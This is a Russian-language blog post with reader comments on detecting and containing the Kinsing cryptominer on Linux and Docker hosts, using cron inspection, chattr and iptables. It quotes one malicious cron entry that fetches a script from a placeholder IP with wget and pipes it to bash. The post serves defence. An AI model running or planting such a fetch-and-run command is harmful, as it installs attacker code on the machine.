Kinsing — вредоносное ПО на основе Golang, работает как агент. Основная цель данной малвари это добыча криптовалюты на взломанном сервере. Оно распространяется путем использования уязвимости в ошибке конфигурации сервисов, которые доступны извне.

Малварь может добавлять задания в запланировщик задач cron, чтобы иметь возможность переподключиться, например после перезагрузки сервера.

Как определить, что ваш сервер используется для майнинга малварью Kinsing?

Определите процессы, которые используют ресурсы процессора с помощью диспечера задач top или htop. В результате вы увидете, например, такие процессы: kdevtmpfsikinsing или dbused, которые максимально используют все ресурсы процессора.

Убить процессы отправкой сигнала KILL вы не сможете, так как со временем они запустятся снова.

Можно попытаться найти задания в запланировщике задач пользователей:

ls /var/spool/cron/

Например, у пользователя confluence обнаружена задача, позволяющая скачивать скрипт с удаленного узла с помощью wget:

* * * * * wget -q -O - http://1.2.3.4/cf.sh | bash > /dev/null 2>&1

Чтобы запретить пользователю использовать запланировщик, мы можем отключить службу crond или добавить атрибут immutable для файла. (immutable указывает, что файл защищен от изменений: не может быть удален или переименован, никакая ссылка (жесткая) не может быть создана на этот файл, никакие данные не могут быть записаны в файл.)

echo > /var/spool/cron/confluence && chattr +i /var/spool/cron/confluence

Также стоит проверить файлы с переменными пользователя на наличие лишних скриптов и по возможности удалить их и добавить атрибут immutable:

cat /home/confluence/.bash_profile
chattr +i /home/confluence/.bash_profile

Ещё одно решение это заблокировать исходящий трафик, например, если малварь использует контейнеры Docker.
В контейнерах сложнее найти процесс малвари, но мы можем определить куда обращается контейнер с помощью утилиты iptstate на хосте Docker'a.

Для установки iptstate в RHEL, введите команду:

yum install iptstate -y

Поиск ID контейнера:

docker ps

Поиск IP контейнера:

docker inspect CONTAINER_ID | grep -i ip

Смотрим соединения с IP-адреса контейнера:

iptstate -s CONTAINER_IP

Блокируем обращения контейнера по протоколу HTTP:

iptables -A DOCKER-USER -s 172.18.0.7/32 -p tcp -m tcp --dport 80 -j DROP

Все вышеперечисленное это временное решение, чтобы ограничить работу майнера. Своевременно обновляйте ПО и уделяйте время вопросам информационной безопасности.

Комментарии (11)


  1. XakRU
    11.10.2021 17:43
    +5

    Чтобы запретить использовать cron пользователю confluence - достаточно указать этого пользователя в файле /etc/cron.deny.

    Убить процессы отправкой сигнала KILL вы не сможете, так как со временем они запустятся снова.

    Сложности перевода похоже сказываются... Убить-то никто не помешает, малварь не под модулем ядра работает. А то что запустится снова - факт.


    1. unsignedchar
      11.10.2021 21:36
      +2

      Есть ненулевая вероятность, что товарищи воспользовались локальной privilege escalation и запустили что-то из под root. Возможно, даже модуль ядра.


      1. XakRU
        11.10.2021 22:04

        Ну вот да, согласен. А статья автора тему не раскрывает совсем.


    1. Oxyd
      11.10.2021 22:42
      +3

      Эээ... Я не вижу тут плашки «перевод»... Да и «запланировщик задач» меня порадовал. Сразу вспомнились «гуртовщики мыши».


  1. XakRU
    12.10.2021 02:17
    +1

    В статье нет расследования как малварь проникла на сервер. Что явилось причиной?

    Нарочно или по незнанию автор упустил один важный пункт - свежую уязвимость в confluence, которую активно используют. Так что даже если малварь будет вычищена, а контейнер развернут заново с той же уязвимой версией confluence, малварь снова вернётся.

    Запрет на cron файл пользователя вообще крайне поверхностное решение, ведь из первого что приходит в голову - всегда можно планировать задания в at, особенно учитывая то что в некоторых дистрибутивов (RHEL/CentOS) - atd запущен по умолчанию


    1. isobby Автор
      12.10.2021 05:31
      +1

      Причиной распространения малвари являются службы, которые доступные извне и конечно же уязвимости в ПО. Например, разработчик случайно пробросил порт в Docker с опцией -p 5432:5432 для контейнера postgre с кредами по умолчанию или последняя уязвимость в Confluence позволяющая злоумышленику удаленно выполнять произвольный код на сервере. Следует отметить, что малварь использует различные IP-адреса для подключения "агентов", а также различные порты в случае, если вы решите заблокировать обращения по адресу или порту. Например, в контейнере я заблокировал весь исходящий трафик на порты 80/tcp и 5555/tcp, чтобы остановить работу майнера. В случае с Confluence, достаточно аттрибута immutable для крона пользователя confluence это не даст процессу малвари запуститься снова и можно будет спокойно накатить хотфикс: https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

      Как работает малварь Kinsing? Я думаю этот вопрос заслуживает отдельной статьи.


      1. XakRU
        13.10.2021 11:10

        Причиной распространения малвари являются службы, которые доступные извне

        Тогда продолжая ваши рассуждения - причиной будет наличие подключения к интернету.

        Для установки iptstate в RHEL, введите команду:

        yum install iptstate -y

        Для просмотра исходящих соединений достаточно стандартных для RHEL netstat, ss.

        Поиск ID контейнера:

        docker ps

        Зачем? Если нет расследования, почему бы не выключить скомпрометированный контейнер ?

        Тэг "Информационная безопасность" тут кажется лишним.


        1. isobby Автор
          13.10.2021 12:08

          Для просмотра исходящих соединений достаточно стандартных для RHEL netstat, ss.

          На хосте докера вы не сможете увидеть соединения контейнеров с netstat или ss, так как соединения проходят через цепочку FORWARD в виртуальную сеть докера, а не на сам узел (цепочки INPUT и OUTPUT). А устанавливать на каждый контейнер пакет с net-tools или собирать кастомный образ не особо хочеться.

          Зачем? Если нет расследования, почему бы не выключить скомпрометированный контейнер ?

          И остановить работу бизнеса)


          1. XakRU
            13.10.2021 14:21
            +1

            И остановить работу бизнеса)

            • Если нет резервирования, то о какой бесперебойной работе может идти речь?

            • А действительно ли остановка confluence критична для бизнеса?

            • На какой промежуток времени остановка сервиса критична?

            по итогу - необходимо не ограничиваться установкой флага immutable для файла cron пользователя, а делать следующее если для бизнеса это действительно сервис с критичными данными:
            - останавливать/изолировать контейнер.
            - уносить его для анализа.
            - разворачивать и резервной копии.

            На хосте докера вы не сможете увидеть соединения контейнеров с netstat или ss, так как соединения проходят через цепочку FORWARD в виртуальную сеть докера, а не на сам узел (цепочки INPUT и OUTPUT). А устанавливать на каждый контейнер пакет с net-tools или собирать кастомный образ не особо хочеться.

            имея доступ к хостовой системе на которой крутятся docker контейнеры есть куча возможностей:

            • nsenter -t $(docker inspect -f '{{.State.Pid}}' container_name_or_id) -n netstat

            • ip -all netns exec ss -p -ut

            • ip -all netns exec netstat -ltup

            Если вам удобно выполнять процедуру непосредственно в самом контейнере - ваше право. Но скомпрометированный контейнер уже никогда не вернёт доверия и спокойствия, если не будет отправлен на покой после анализа.
            И снова не стоит забывать про резервное копирование.


    1. Frankenstine
      12.10.2021 07:34

      В статье нет расследования как малварь проникла на сервер. Что явилось причиной?

      Кажется в прошлом году один сервак к которому у меня есть доступ её подцепил. Проникновение было через дырку в laravel Ignition при включенном дебаге.


      1. sigma_shig
        16.10.2021 21:48

        Да, вот это и есть проблема. Я подцепил непонятно где этот dbused. Вот только у меня на сервере (Ubuntu 20) никогда не было confluence. Этот майнер работал от имени www-data. Значит есть где-то дырка или в апаче или в каком-то сайте под ним. Сам майнер я прибил. Но причину так и не выявил. Также хочу упомянуть, что в куче с ним работает /tmp/bashirc и некий процесс linuxsys.